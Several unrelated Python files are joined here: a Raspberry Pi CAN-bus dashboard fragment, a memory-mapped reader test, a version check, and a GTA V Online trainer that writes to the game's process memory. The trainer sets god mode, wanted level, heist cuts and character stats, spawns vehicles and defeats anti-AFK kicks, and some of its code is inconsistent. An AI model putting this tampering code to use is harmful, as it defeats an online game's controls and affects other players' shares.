if pos2 == 1: a1_T_list[pos3-1].appendleft(val_dec) # sort for voltages if pos2 == 2: a1_V_list[pos3-1].appendleft(val_dec) # sort for ID: 602 (Accu 2) if msg_id == 601: # sort for temperatures if pos2 == 1: a2_T_list[pos3-1].appendleft(val_dec) # sort for voltages if pos2 == 2: a2_V_list[pos3-1].appendleft(val_dec) def can_data_loop(): ''' pull data from buffer and put it into deques''' while True: if q.empty() != True: msg = q.get() if msg != None: len_msg = len(msg.data) # 1536= ID 600, 1537= ID 601 (Error Akku1), msg_id = int('{0:x} '.format(msg.arbitration_id)) # check correct msg length if len_msg == 3: byte_list = [] # init empty bytestring for pos in range(len_msg-1,-1,-1): byte = '{0:x}'.format(msg.data[pos]) if len(byte) == 1: byte = '0' + byte byte_list.append(byte) filter_buffer(byte_list, msg_id) def run_dash_app(): ''' run dash app in a thread ''' IP = '192.168.200.171' # pi hermans 192.168.200.171:9999 app.run_server(debug=False,use_reloader=False, host=IP,port= 9999) ### Insert here your IP-Address on your Raspberry PI !! ### # for example: '192.168.200.1' # and access the app your browser by entering: 192.168.200.1:9999 IP = '192.168.200.1' # if __name__ == '__main__': # Bring up the can0 Interface bus = init_can() # Start Threading t1 = threading.Thread(target=can_msg_rv) t2 = threading.Thread(target=can_data_loop) t3 = threading.Thread(target=run_dash_app) t1.start() t2.start() t3.start() # for debugging (deactivate thread 3) #app.run_server(debug=True, host=IP,port= 9999)
test_memory_mapped_file_reader.py
from threading import Thread import pytest from yellowdog_client.object_store.utils import MemoryMappedFileReaderFactory class TestMemoryMappedFileReader(object): @pytest.fixture def populated_file(self, tmpdir): p = tmpdir.mkdir("sub").join("reader.txt") p.write("111-222-333-444-555-666-") return str(p) def read1(self, reader): self.res1 = reader.read_bytes(offset=0, size=4) def read2(self, reader): self.res2 = reader.read_bytes(offset=4, size=4) def read3(self, reader): self.res3 = reader.read_bytes(offset=8, size=4) def read4(self, reader): self.res4 = reader.read_bytes(offset=12, size=4) def read5(self, reader): self.res5 = reader.read_bytes(offset=16, size=4) def read6(self, reader): self.res6 = reader.read_bytes(offset=20, size=4) def test_read(self, populated_file): with MemoryMappedFileReaderFactory.new_reader(file_path=populated_file) as reader: threads = [ Thread(target=lambda: self.read1(reader)), Thread(target=lambda: self.read2(reader)), Thread(target=lambda: self.read3(reader)), Thread(target=lambda: self.read4(reader)), Thread(target=lambda: self.read5(reader)), Thread(target=lambda: self.read6(reader)) ] [x.start() for x in threads] [x.join() for x in threads] assert self.res1 == b"111-" assert self.res2 == b"222-" assert self.res3 == b"333-" assert self.res4 == b"444-" assert self.res5 == b"555-" assert self.res6 == b"666-"
version.py
"""Copyright OGB https://github.com/snap-stanford/ogb/blob/master/ogb/version.py """ import os import logging from threading import Thread __version__ = '0.8.0' try: os.environ['OUTDATED_IGNORE'] = '1' from outdated import check_outdated # noqa except ImportError: check_outdated = None def check(): try: is_outdated, latest = check_outdated('graphgallery', __version__) if is_outdated: logging.warning( f'The GraphGallery package is out of date. Your version is ' f'{__version__}, while the latest version is {latest}.') except Exception: pass if check_outdated is not None: thread = Thread(target=check) thread.start()
KernelData.py
import ctypes, threading, sys import logging from time import sleep from ProcessMemoryHandle import * import BaseAddressOffset from concurrent.futures import ThreadPoolExecutor class Offset: def __init__(self, is_steam: bool): """ๅŸบๅ€ๅ็งป\n is_steam bool:ๆ˜ฏๅฆไธบsteam็‰ˆ True ๆ˜ฏ|False ไธๆ˜ฏ """ index = 0 if is_steam else 1 self.WORLD_OFFSET = BaseAddressOffset.WORLD_OFFSET_TUNPLE[index] self.BLIP_OFFSET = BaseAddressOffset.BLIP_OFFSET_TUNPLE[index] self.REPLAYINTERFACE_OFFSET = BaseAddressOffset.REPLAYINTERFACE_OFFSET_TUNPLE[index] self.LOCALSCRIPTS_OFFSET = BaseAddressOffset.LOCALSCRIPTS_OFFSET_TUNPLE[index] self.GLOBAL_OFFSET = BaseAddressOffset.GLOBAL_OFFSET_TUNPLE[index] self.PLAYERCOUNT_OFFSET = BaseAddressOffset.PLAYERCOUNT_OFFSET_TUNPLE[index] self.PICKUPDATA_OFFSET = BaseAddressOffset.PICKUPDATA_OFFSET_TUNPLE[index] class GTAVPublic: def __init__(self, handle: Handle, offset: Offset): self.handle = handle self.offset = offset self.__X_POINTER = (offset.WORLD_OFFSET, 0x8, 0x90) # ๆ‘„ๅƒๆœบxๅบงๆ ‡ def __global(self, offset: int): return self.handle.getMemoryAddress([self.offset.GLOBAL_OFFSET + 8 * ((offset >> 0x12) & 0x3F), 8 * (offset & 0x3FFFF)]) def __joaat(self, params: str): """joaat ่ฎก็ฎ—\n return int """ try: lib = ctypes.WinDLL("gtaLib.dll") lib.joaat.argtypes = (ctypes.c_char_p,) lib.joaat.restype = ctypes.c_uint except Exception as e: logging.warning(e) return None else: return lib.joaat(params.lower().encode()) # ๅ…จ้ƒจๅฐๅ†™ๅŽ๏ผŒ่ฝฌๆˆCๅญ—็ฌฆไธฒ @property def location(self): """ๆ‘„ๅƒๆœบไฝ็ฝฎ""" x_addr = self.handle.getMemoryAddress(self.__X_POINTER) y_addr = x_addr + 0x4 z_addr = x_addr + 0x8 x = self.handle.readMemoryValue(x_addr, ctypes.c_float()) y = self.handle.readMemoryValue(y_addr, ctypes.c_float()) z = self.handle.readMemoryValue(z_addr, ctypes.c_float()) return (x, y, z) @location.setter def location(self, pos: "tuple[float, float, float]"): x_addr = self.handle.getMemoryAddress(self.__X_POINTER) y_addr = x_addr + 0x4 z_addr = x_addr + 0x8 x, y, z = pos self.handle.writeMemoryValue(x_addr, ctypes.c_float(x)) self.handle.writeMemoryValue(y_addr, ctypes.c_float(y)) self.handle.writeMemoryValue(z_addr, ctypes.c_float(z)) @property def sellinnonpublic(self): """้žๅ…ฌๅผ€ๆˆ˜ๅฑ€ๅ‡บ่ดง\n status bool: True ๅผ€|False ๅ…ณ """ address = self.__global(2453009 + 744) i = self.handle.readMemoryValue(address, ctypes.c_int()) # print(f"{address:0X}") return True if i == 0 else False @sellinnonpublic.setter def sellinnonpublic(self, status: bool): """้žๅ…ฌๅผ€ๆˆ˜ๅฑ€ๅ‡บ่ดง\n status bool: True ๅผ€|False ๅ…ณ """ address = self.__global(2453009 + 744) if status is True: self.handle.writeMemoryValue(address, ctypes.c_int(0)) # 0ๅผ€ๅฏ else: self.handle.writeMemoryValue(address, ctypes.c_int(1)) # 1ๅ…ณ้—ญ @property def session(self): pass @session.setter def session(self, value: int): """ๆˆ˜ๅฑ€ๅˆ‡ๆข\n value int: ๆˆ˜ๅฑ€ๆจกๅผ\n 1:ๅˆ›ๅปบๅ…ฌๅ…ฑๆˆ˜ๅฑ€\n 11:ไป…้™้‚€่ฏทๆˆ˜ๅฑ€\n 10:ๅ•ไบบๆˆ˜ๅฑ€ """ if value == -1: valueAddress = self.__global(1574587 + 2) triggerAddress = self.__global(1574587) self.handle.writeMemoryValue(valueAddress, ctypes.c_int(value)) self.handle.writeMemoryValue(triggerAddress, ctypes.c_int(1)) # ่ฎพๅฎšไธบ1่งฆๅ‘ๅˆ‡ๆขๆˆ˜ๅฑ€ sleep(0.2) self.handle.writeMemoryValue(triggerAddress, ctypes.c_int(0)) else: valueAddress = self.__global(1575004) triggerAddress = self.__global(1574587) self.handle.writeMemoryValue(valueAddress, ctypes.c_int(value)) self.handle.writeMemoryValue(triggerAddress, ctypes.c_int(1)) # ่ฎพๅฎšไธบ1่งฆๅ‘ๅˆ‡ๆขๆˆ˜ๅฑ€ sleep(0.2) self.handle.writeMemoryValue(triggerAddress, ctypes.c_int(0)) def anti_afk(self): """ๆŒ‚ๆœบ้˜ฒ่ธข""" offset = 262145 self.handle.writeMemoryValue(self.__global(offset + 87), ctypes.c_uint(2000000000)) # ้ป˜่ฎค120000 self.handle.writeMemoryValue(self.__global(offset + 88), ctypes.c_uint(2000000000)) # ้ป˜่ฎค300000 self.handle.writeMemoryValue(self.__global(offset + 89), ctypes.c_uint(2000000000)) # ้ป˜่ฎค600000 self.handle.writeMemoryValue(self.__global(offset + 90), ctypes.c_uint(2000000000)) # ้ป˜่ฎค900000 self.handle.writeMemoryValue(self.__global(offset + 7955), ctypes.c_uint(2000000000)) # ้ป˜่ฎค60000 self.handle.writeMemoryValue(self.__global(offset + 7956), ctypes.c_uint(2000000000)) # ้ป˜่ฎค90000 self.handle.writeMemoryValue(self.__global(offset + 7957), ctypes.c_uint(2000000000)) # ้ป˜่ฎค120000 self.handle.writeMemoryValue(self.__global(offset + 7958), ctypes.c_uint(2000000000)) # ้ป˜่ฎค30000 class Heist(GTAVPublic): def __init__(self, handle: Handle, offset: Offset): super().__init__(handle, offset) # function Cayo(player) return GA(1973496+823+56+player) end # function Casino(player) return GA(1966718+2325+player) end # function CasinoPotential(id) return GA(262145+28452+id) end # function CasinoAI(id) return GA(262145+28464+id) end # function Doomsday(player) return GA(1962755+812+50+player) end # function Apart(player) return GA(1934631+3008+player) end self.heist_tuple = ( {"name": "Cayo", "offset": 1973496 + 823 + 56}, {"name": "Casino", "offset": 1966718 + 2325}, {"name": "CasinoPotential", "offset": 262145 + 28452}, {"name": "CasinoAI", "offset": 262145 + 28464}, {"name": "Doomsday", "offset": 1962755 + 812 + 50}, {"name": "Apart", "offset": 1934631 + 3008}, ) @property def cuts(self): for h in self.heist_tuple: i = 1 + h["offset"] address = self._GTAVPublic__global(i) players1 = self.handle.readMemoryValue(address) players2 = self.handle.readMemoryValue(address + 0x8) players3 = self.handle.readMemoryValue(address + 0x10) players4 = self.handle.readMemoryValue(address + 0x18) if players1 + players2 + players3 + players4 == 100: self.players1 = players1 self.players2 = players2 self.players3 = players3 self.players4 = players4 self.address1 = address self.address2 = address + 0x8 self.address3 = address + 0x10 self.address4 = address + 0x18 return (players1, players2, players3, players4) return (0, 0, 0, 0) @cuts.setter def cuts(self, cutIn: tuple): if type(cutIn) != tuple or len(cutIn) != 4: return None self.cuts (players1, players2, players3, players4) = cutIn if players1 + players2 + players3 + players4 == 100: self.players1 = players1 self.players2 = players2 self.players3 = players3 self.players4 = players4 self.handle.writeMemoryValue(self.address1, ctypes.c_int(players1)) self.handle.writeMemoryValue(self.address2, ctypes.c_int(players2)) self.handle.writeMemoryValue(self.address3, ctypes.c_int(players3)) self.handle.writeMemoryValue(self.address4, ctypes.c_int(players4)) class Weather(GTAVPublic): def __init__(self, handle: Handle, offset: Offset): super().__init__(handle, offset) @property def snow(self): address = self._GTAVPublic__global(262145 + 4723) return self.handle.readMemoryValue(address, ctypes.c_int()) @snow.setter def snow(self, value: int): address = self._GTAVPublic__global(262145 + 4723) self.handle.writeMemoryValue(address, ctypes.c_int(value)) class Player(GTAVPublic): """็Žฉๅฎถ็ฑป\n ๆถ‰ๅŠ ็Žฉๅฎถ็”Ÿๅ‘ฝใ€ๆŠค็”ฒใ€้€š็ผ‰ใ€ไฝ็ฝฎใ€ๅฎ‰ๅ…จๅธฆใ€ๆ— ๆ•Œๆจกๅผใ€ๅœจ่ฝฝๅ…ทไธŠ """ def __init__(self, handle: Handle, offset: Offset): super().__init__(handle, offset) self.__LIFE_POINTER = (offset.WORLD_OFFSET, 0x8, 0x280) # ่ก€้‡ float self.__MAX_LIFE_POINTER = (offset.WORLD_OFFSET, 0x8, 0x2A0) # ๆœ€ๅคง่ก€้‡ float self.__GOD_MODE_POINTER = (offset.WORLD_OFFSET, 0x8, 0x189) # ๆ— ๆ•Œๆจกๅผ byte self.__VEST_POINTER = (offset.WORLD_OFFSET, 0x8, 0x1530) # ๆŠค็”ฒ float self.__COPS_POINTER = (offset.WORLD_OFFSET, 0x8, 0x10C8, 0x888) # ้€š็ผ‰็ญ‰็บง int self.__SEATBELT_POINTER = (offset.WORLD_OFFSET, 0x8, 0x145C) # ๅฎ‰ๅ…จๅธฆ byte -56:ๅ…ณ้—ญ -55:ๅผ€ๅฏ self.__IN_VEHICLE_POINTER = (offset.WORLD_OFFSET, 0x8, 0xD30, 0xC62) # ๅˆคๆ–ญ็Žฉๅฎถๆ˜ฏๅฆๅœจ่ฝฝๅ…ทไธŠ byte 1:ๅœจ 0:ไธๅœจ self.__X_POINTER = (offset.WORLD_OFFSET, 0x8, 0x30, 0x50) # ๅฝ“ๅ‰็Žฉๅฎถxๅๆ ‡ float @property def life(self): address = self.handle.getMemoryAddress(self.__LIFE_POINTER) return self.handle.readMemoryValue(address, ctypes.c_float()) @life.setter def life(self, value: float): address = self.handle.getMemoryAddress(self.__LIFE_POINTER) self.handle.writeMemoryValue(address, ctypes.c_float(value)) @property def maxLife(self): address = self.handle.getMemoryAddress(self.__MAX_LIFE_POINTER) return self.handle.readMemoryValue(address, ctypes.c_float()) @maxLife.setter def maxLife(self, value: float): address = self.handle.getMemoryAddress(self.__MAX_LIFE_POINTER) self.handle.writeMemoryValue(address, ctypes.c_float(value)) @property def vest(self): address = self.handle.getMemoryAddress(self.__VEST_POINTER) return self.handle.readMemoryValue(address, ctypes.c_float()) @vest.setter def vest(self, value: float): address = self.handle.getMemoryAddress(self.__VEST_POINTER) self.handle.writeMemoryValue(address, ctypes.c_float(value)) @property def cops(self): address = self.handle.getMemoryAddress(self.__COPS_POINTER) return self.handle.readMemoryValue(address, ctypes.c_int()) @cops.setter def cops(self, value: int): address = self.handle.getMemoryAddress(self.__COPS_POINTER) self.handle.writeMemoryValue(address, ctypes.c_int(value)) @property def seatbelt(self): address = self.handle.getMemoryAddress(self.__SEATBELT_POINTER) return self.handle.readMemoryValue(address, ctypes.c_byte()) @seatbelt.setter def seatbelt(self, status: bool): """ๅฎ‰ๅ…จๅธฆ\n value int: -55:ๅผ€ๅฏ | -56:ๅ…ณ้—ญ """ if status is True: value = -55 else: value = -16 address = self.handle.getMemoryAddress(self.__SEATBELT_POINTER) self.handle.writeMemoryValue(address, ctypes.c_byte(value)) @property def location(self): x_addr = self.handle.getMemoryAddress(self.__X_POINTER) y_addr = x_addr + 0x4 z_addr = x_addr + 0x8 x = self.handle.readMemoryValue(x_addr, ctypes.c_float()) y = self.handle.readMemoryValue(y_addr, ctypes.c_float()) z = self.handle.readMemoryValue(z_addr, ctypes.c_float()) return (x, y, z) @location.setter def location(self, pos: "tuple[float, float, float]"): x_addr = self.handle.getMemoryAddress(self.__X_POINTER) y_addr = x_addr + 0x4 z_addr = x_addr + 0x8 x, y, z = pos self.handle.writeMemoryValue(x_addr, ctypes.c_float(x)) self.handle.writeMemoryValue(y_addr, ctypes.c_float(y)) self.handle.writeMemoryValue(z_addr, ctypes.c_float(z)) @property def god_mode(self): address = self.handle.getMemoryAddress(self.__GOD_MODE_POINTER) i = self.handle.readMemoryValue(address, ctypes.c_ubyte()) return True if i == 1 else False @god_mode.setter def god_mode(self, status: bool): """ๆ— ๆ•Œๆจกๅผ\n 1ๅผ€ๅฏ 0ๅ…ณ้—ญ """ i = 1 if status is True else 0 address = self.handle.getMemoryAddress(self.__GOD_MODE_POINTER) self.handle.writeMemoryValue(address, ctypes.c_ubyte(i)) @property def in_vehicle(self): """ๅˆคๆ–ญๆ˜ฏๅฆๅœจ่ฝฝๅ…ทไธŠ\n 0x0ๅœจ 0x10ไธๅœจ """ address = self.handle.getMemoryAddress(self.__IN_VEHICLE_POINTER) i = self.handle.readMemoryValue(address, ctypes.c_byte()) return False if i == 0x0 else True def get_in_personal_vehicle(self): """่ฟ›ๅ…ฅไธชไบบ่ฝฝๅ…ท""" if self.in_vehicle is False: addr = self._GTAVPublic__global(2671444 + 8) if addr > 0: self.handle.writeMemoryValue(addr, ctypes.c_int(1)) sleep(1) self.handle.writeMemoryValue(addr, ctypes.c_int(0)) def generate_vehicle(self, vehicleName: str): """ๅˆทๅ‡บ่ฝฝๅ…ท\n vehicleName str: ่ฝฝๅ…ท่ฐƒ็”จๅ [kurumo2้ชท้ซ…้ฉฌ่ฃ…็”ฒ็‰ˆ] """ offset = 2725260 heading0 = self.handle.readMemoryValue(self.handle.getMemoryAddress((self.offset.WORLD_OFFSET, 0x8, 0x30, 0x20)), ctypes.c_float()) heading1 = self.handle.readMemoryValue(self.handle.getMemoryAddress((self.offset.WORLD_OFFSET, 0x8, 0x30, 0x24)), ctypes.c_float()) x, y, z = self.location x = x - (heading1 * 5) y = y + (heading0 * 5) z = z + 0.5 self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 7 + 0), ctypes.c_float(x)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 7 + 1), ctypes.c_float(y)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 7 + 2), ctypes.c_float(z)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 66), ctypes.c_int(self._GTAVPublic__joaat(vehicleName))) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 28), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 60), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 95), ctypes.c_int(14)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 94), ctypes.c_int(2)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 5), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 2), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 3), ctypes.c_int(0)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 74), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 75), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 76), ctypes.c_int(0)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 60), ctypes.c_int(4030726305)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 5), ctypes.c_int(-1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 6), ctypes.c_int(-1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 7), ctypes.c_int(-1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 8), ctypes.c_int(-1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 19), ctypes.c_int(4)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 21), ctypes.c_int(4)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 22), ctypes.c_int(3)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 23), ctypes.c_int(3)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 24), ctypes.c_int(58)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 26), ctypes.c_int(5)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 26), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 65), ctypes.c_int(2)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 69), ctypes.c_int(-1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 33), ctypes.c_int(-1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 25), ctypes.c_int(8)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 19), ctypes.c_int(-1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 77) + 1, ctypes.c_byte(2)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 77), ctypes.c_int(self._GTAVPublic__joaat(vehicleName))) # self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 1), ctypes.create_string_buffer("KUN SHAO".encode())) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 1), ctypes.c_buffer(b"KUN SHAO"), 8) def generate_vehicle2(self, vehicleName: str): """ๅˆทๅ‡บ่ฝฝๅ…ท\n vehicleName str: ่ฝฝๅ…ท่ฐƒ็”จๅ [kurumo2้ชท้ซ…้ฉฌ่ฃ…็”ฒ็‰ˆ] """ offset = 2725260 heading0 = self.handle.readMemoryValue(self.handle.getMemoryAddress((self.offset.WORLD_OFFSET, 0x8, 0x30, 0x20)), ctypes.c_float()) heading1 = self.handle.readMemoryValue(self.handle.getMemoryAddress((self.offset.WORLD_OFFSET, 0x8, 0x30, 0x24)), ctypes.c_float()) x, y, z = self.location x = x - (heading1 * 5) y = y + (heading0 * 5) z = z + 0.5 self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 66), ctypes.c_int(self._GTAVPublic__joaat(vehicleName))) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 121), ctypes.c_int(2)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 122), ctypes.c_int(14)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 6), ctypes.c_byte(-1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 5), ctypes.c_byte(-1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 7 + 0), ctypes.c_float(x)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 7 + 1), ctypes.c_float(y)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 7 + 2), ctypes.c_float(z)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 10), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 11), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 12), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 13), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 14), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 15), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 16), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 17), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 18), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 19), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 20), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 21), ctypes.c_int(4)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 22), ctypes.c_int(3)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 23), ctypes.c_int(3)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 24), ctypes.c_int(57)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 25), ctypes.c_int(4)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 26), ctypes.c_int(5)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 28), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 30), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 32), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 27 + 65), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 2), ctypes.c_int(1)) self.handle.writeMemoryValue(self._GTAVPublic__global(offset + 5), ctypes.c_int(1)) class Vehicle(GTAVPublic): """่ฝฝๅ…ท็ฑป\n ๆถ‰ๅŠ ่ฝฝๅ…ท่ก€้‡ใ€่ƒฝๅŠ›ใ€ไฝ็ฝฎ """ def __init__(self, handle: Handle, offset: Offset): super().__init__(handle, offset) self.__LIFE_POINTER = (offset.WORLD_OFFSET, 0x8, 0xD30, 0x280) # ่ฝฝๅ…ท่ก€้‡ self.__X_POINTER = (offset.WORLD_OFFSET, 0x8, 0xD30, 0x30, 0x50) # ๅฝ“ๅ‰่ฝฝๅ…ทxๅๆ ‡ float self.__ABILITY_POINTER = (offset.WORLD_OFFSET, 0x8, 0xD30, 0x20, 0x58B) # ่ฝฝๅ…ท่ƒฝๅŠ› int @property def life(self): address = self.handle.getMemoryAddress(self.__LIFE_POINTER) return self.handle.readMemoryValue(address, ctypes.c_float()) @life.setter def life(self, value: float): """่ฝฝๅ…ท่ก€้‡\n value float:่ก€้‡ ๆปก่ก€1000 """ address = self.handle.getMemoryAddress(self.__LIFE_POINTER) self.handle.writeMemoryValue(address, ctypes.c_float(value)) @property def location(self): x_addr = self.handle.getMemoryAddress(self.__X_POINTER) y_addr = x_addr + 0x4 z_addr = x_addr + 0x8 x = self.handle.readMemoryValue(x_addr, ctypes.c_float()) y = self.handle.readMemoryValue(y_addr, ctypes.c_float()) z = self.handle.readMemoryValue(z_addr, ctypes.c_float()) return (x, y, z) @location.setter def location(self, pos: "tuple[float, float, float]"): x_addr = self.handle.getMemoryAddress(self.__X_POINTER) y_addr = x_addr + 0x4 z_addr = x_addr + 0x8 x, y, z = pos self.handle.writeMemoryValue(x_addr, ctypes.c_float(x)) self.handle.writeMemoryValue(y_addr, ctypes.c_float(y)) self.handle.writeMemoryValue(z_addr, ctypes.c_float(z)) @property def ability(self): pass @ability.setter def ability(self, i: int): """่ฝฝๅ…ท็‰นๆฎŠ่ƒฝๅŠ›\n value int: 0x0:ๆ™ฎ้€š |0x40:ๅŠฉๆŽจๅ™จ |0x20:่ทณ่ทƒ """ if i == 0: value = 0x0 elif i == 1: value = 0x40 elif i == 2: value = 0x20 address = self.handle.getMemoryAddress(self.__ABILITY_POINTER) self.handle.writeMemoryValue(address, ctypes.c_byte(value), 2) if value == 0x40: """ๅŠฉๆŽจๅ™จๆขๅค้€Ÿๅบฆ""" address1 = self.handle.getMemoryAddress([self.offset.WORLD_OFFSET, 0x8, 0xD30, 0x324]) self.handle.writeMemoryValue(address1, ctypes.c_float(10)) class GTAVHax(GTAVPublic): def __init__(self, handle: Handle, offset: Offset): super().__init__(handle, offset) def stat_value(self, stat: str, value: int): """stat value GTAHaxๆ•ˆๆžœ\n stat str: MPx_XXXX\n value int: ๆ•ฐๅ€ผ """ if stat is None or value is None: return None try: PlayerNumber = self.handle.readMemoryValue(self._GTAVPublic__global(1574907)) stat_p = stat.replace("MPx", f"MP{PlayerNumber}") newHash = self._GTAVPublic__joaat(stat_p) except Exception as e: logging.warning(e) return None try: addrLaunch = self._GTAVPublic__global(1644209 + 1139) addrHash = self._GTAVPublic__global(1655444 + 4) oldHash = self.handle.readMemoryValue(addrHash) addrValue = self._GTAVPublic__global(1020252 + 5526) oldValue = self.handle.readMemoryValue(addrValue) self.handle.writeMemoryValue(addrHash, ctypes.c_uint(newHash)) self.handle.writeMemoryValue(addrValue, ctypes.c_int(value)) self.handle.writeMemoryValue(addrLaunch, ctypes.c_int(-1)) sleep(1) self.handle.writeMemoryValue(addrHash, ctypes.c_uint(oldHash)) self.handle.writeMemoryValue(addrValue, ctypes.c_int(oldValue)) except Exception as e: logging.warning(e) return None def set_level_30(self): """่ฎพ็ฝฎ็ญ‰็บง30็บง""" stats = ( ("MPx_CHAR_ABILITY_1_UNLCK", 1), ("MPx_CHAR_ABILITY_2_UNLCK", 1), ("MPx_CHAR_ABILITY_3_UNLCK", 1), ("MPx_CHAR_FM_ABILITY_1_UNLCK", 1), ("MPx_CHAR_FM_ABILITY_2_UNLCK", 1), ("MPx_CHAR_FM_ABILITY_3_UNLCK", 1), ("MPx_CHAR_SET_RP_GIFT_ADMIN", 177100), # 30็บงๅˆซ ) for tp in stats: self.stat_value(tp[0], tp[1]) sleep(1) self.change_session(1) def withThread(function): """็บฟ็จ‹็š„้ฅฐๅ™จ""" def Threads(*args): threading.Thread(target=function, args=args, daemon=True).start() return Threads class Data: """ๅฏ„ๅญ˜็Šถๆ€ๆ•ฐๆฎ""" def __init__(self): self.auto_cure = False self.seatbelt = False self.antiAFK = False self.god_mode = False class GTAV: def __init__(self): self.threadPool = ThreadPoolExecutor(max_workers=6) # ๆœ€ๅคš6็บฟ็จ‹ self.handle = Handle() hwnd = self.handle.find_window("grcWindow", "Grand Theft Auto V") if hwnd == 0: logging.error("่Žทๅ–็ช—ๅฃๅฅๆŸ„ๅคฑ่ดฅ") sys.exit() self.handle.get_window_thread_process_id(hwnd) if self.handle.pid == 0: logging.error("่Žทๅ–ๆธธๆˆๅฅๆŸ„ๅคฑ่ดฅ") sys.exit() self.handle.hProcess = self.handle.open_process(0x1F0FFF, c_bool(False), self.handle.pid) self.handle.addrProcess = self.handle.enum_process_modules(self.handle.hProcess)[0] is_steam = True if self.handle.query_module("steam_api64.dll") != 0 else False self.offset = Offset(is_steam) self.gtavpublic = GTAVPublic(self.handle, self.offset) self.weather = Weather(self.handle, self.offset) self.player = Player(self.handle, self.offset) self.vehicle = Vehicle(self.handle, self.offset) self.heist = Heist(self.handle, self.offset) self.hax = GTAVHax(self.handle, self.offset) self.read = self.handle.readMemoryValue self.write = self.handle.writeMemoryValue self.readPointer = self.handle.getMemoryAddress self.data = Data() self.refresh_data() def __global(self, offset: int): # r_dword_ptr res = read<r_dword_ptr>((r_dword_ptr)m_mod + ADDRESS_GLOBAL + 8 * ((val >> 0x12) & 0x3F)); # return 8 * (val & 0x3FFFF) + res; return self.handle.getMemoryAddress([self.__GLOBAL_OFFSET + 8 * ((offset >> 0x12) & 0x3F), 8 * (offset & 0x3FFFF)]) def __joaat(self, params: str): """joaat ่ฎก็ฎ—\n return int """ try: lib = ctypes.WinDLL("gtaLib.dll") lib.joaat.argtypes = (ctypes.c_char_p,) lib.joaat.restype = ctypes.c_uint except Exception as e: logging.warning(e) return None else: return lib.joaat(params.lower().encode()) # ๅ…จ้ƒจๅฐๅ†™ๅŽ๏ผŒ่ฝฌๆˆCๅญ—็ฌฆไธฒ @withThread def leave_me_alone(self, t: float = 0): 